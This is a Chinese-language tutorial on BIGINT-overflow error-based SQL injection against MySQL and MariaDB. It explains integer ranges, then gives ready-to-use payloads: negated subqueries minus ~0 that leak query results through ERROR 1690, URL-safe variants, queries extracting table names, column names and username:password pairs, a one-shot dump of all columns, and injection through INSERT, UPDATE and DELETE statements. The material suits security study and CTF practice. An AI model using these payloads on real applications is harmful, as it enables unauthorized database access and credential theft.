mysql 5.5.5及以上版本才有溢出错误

查看mysql文档来看看mysql存储数据的范围

11.2.1 Integer Types (Exact Value) - INTEGER, INT, SMALLINT, TINYINT, MEDIUMINT, BIGINT

​ MySQL supports the SQL standard integer types INTEGER (or INT) and SMALLINT. As an extension to the standard, MySQL also supports the integer types TINYINT, MEDIUMINT, and BIGINT. The following table shows the required storage and range for each integer type.

Table 11.1 Required Storage and Range for Integer Types Supported by MySQL

Type Storage (Bytes) Minimum Value Signed Minimum Value Unsigned Maximum Value Signed Maximum Value Unsigned
TINYINT 1 -128 0 127 255
SMALLINT 2 -32768 0 32767 65535
MEDIUMINT 3 -8388608 0 8388607 16777215
INT 4 -2147483648 0 2147483647 4294967295
BIGINT 8 $ 2^63 $ 0 26312^63 -1 26412^64 -1

BIGINT的长度为8字节64bit

1
2
>>> 0b0111111111111111111111111111111111111111111111111111111111111111
9223372036854775807
1
2
3
4
5
6
7
MariaDB [test]> select 9223372036854775807;
+---------------------+
| 9223372036854775807 |
+---------------------+
| 9223372036854775807 |
+---------------------+
1 row in set (0.000 sec)

对这个数字加减就会产生溢出错误:

1
2
3
4
5
MariaDB [test]> select 9223372036854775807+1;
ERROR 1690 (22003): BIGINT value is out of range in '9223372036854775807 + 1'

MariaDB [test]> select cast(b'1111111111111111111111111111111111111111111111111111111111111111' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in 'cast(0xffffffffffffffff as unsigned) + 1'

0取反就可以得到这个数字

1
2
3
4
5
6
7
8
9
MariaDB [test]> select ~0;
+----------------------+
| ~0 |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.000 sec)
MariaDB [test]> select ~0+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '~0 + 1'

引发注入攻击

mysql 查询成功后会返回0, 取逻辑非变为1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
MariaDB [test]> select (select * from flag);
+----------------------------------------+
| (select * from flag) |
+----------------------------------------+
| D0g3{G0ph1er_4nd_55rf_1s_1nt3rest1ng!} |
+----------------------------------------+
1 row in set (0.000 sec)

MariaDB [test]> select !(select * from flag);
+-----------------------+
| !(select * from flag) |
+-----------------------+
| 1 |
+-----------------------+
1 row in set, 1 warning (0.000 sec)

所以思路就是查询的结果加上BIGINT最大值(~0), 如果成功则相当于1+ ~0会产生溢出错误

1
2
MariaDB [test]> select !(select * from flag)+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '!(select #) + ~0'

如果通过网页传递数据的话,+号会被转化成空格,所以可以替换成下面几种写法:

1
2
3
4
5
!(select*from(select user())x)-~0

(select(!x-~0)from(select(select user())x)a)

(select!x-~0.from(select(select user())x)a)

利用这种基于BIGINT溢出错误的注入手法,我们可以几乎可以使用MySQL中所有的数学函数,因为它们也可以进行取反,具体用法如下所示:

1
2
3
select !atan((select*from(select user())a))-~0; 
select !ceil((select*from(select user())a))-~0;
select !floor((select*from(select user())a))-~0;

下面的我们已经测试过了,如果你愿意的话,还可以找到更多:)

1
2
3
4
5
6
7
8
9
10
11
HEX
IN
FLOOR
CEIL
RAND
CEILING
TRUNCATE
TAN
SQRT
ROUND
SIGN

0x003 提取数据


提取数据的方法,跟其他注入攻击手法中的一样,这里只做简单介绍。

首先,我们来获取表名:

1
!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0

取得列名:

1
select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;

检索数据:

1
!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;

enter image description here

0x004 一次性转储


我们能够一次性转储所有数据库、列和数据表吗? 答案是肯定的。但是,当我们从所有数据库中转储数据表和列的时候,只能得到较少的结果,毕竟我们是通过错误消息来检索数据的。 不过,如果我们是从当前数据库中转储数据的话,一次最多可以转储27个结果。下面举例说明。

1
2
3
!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0
(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)
(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)

enter image description here

这些限制了我们可以检索的结果的数量,即最多27个。假设,我们在一个数据库中创建了一个31列的数据表。 那么,我们只能看到27个结果,而我的其他4个表和该用户数据表的其他列都无法返回。

enter image description here

0x05 利用插入语句进行注入


利用插入语句,我们也可以进行类似的注入攻击,具体语法为‘’ or (payload) or “”

1
2
mysql> insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

我们还可以使用DIOS查询。

1
2
3
4
5
insert into users (id, username, password) values (2, '' or !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
newdb::users::id
newdb::users::username
newdb::users::password' from dual))) - ~(0))'

enter image description here

0x06 利用更新语句进行注入


利用更新语句,我们照样可以进行类似的注入,具体如下所示:

1
2
mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

0x07 利用更新语句进行注入


同样的,我们也可以利用删除语句进行注入,具体如下所示:

1
2
mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'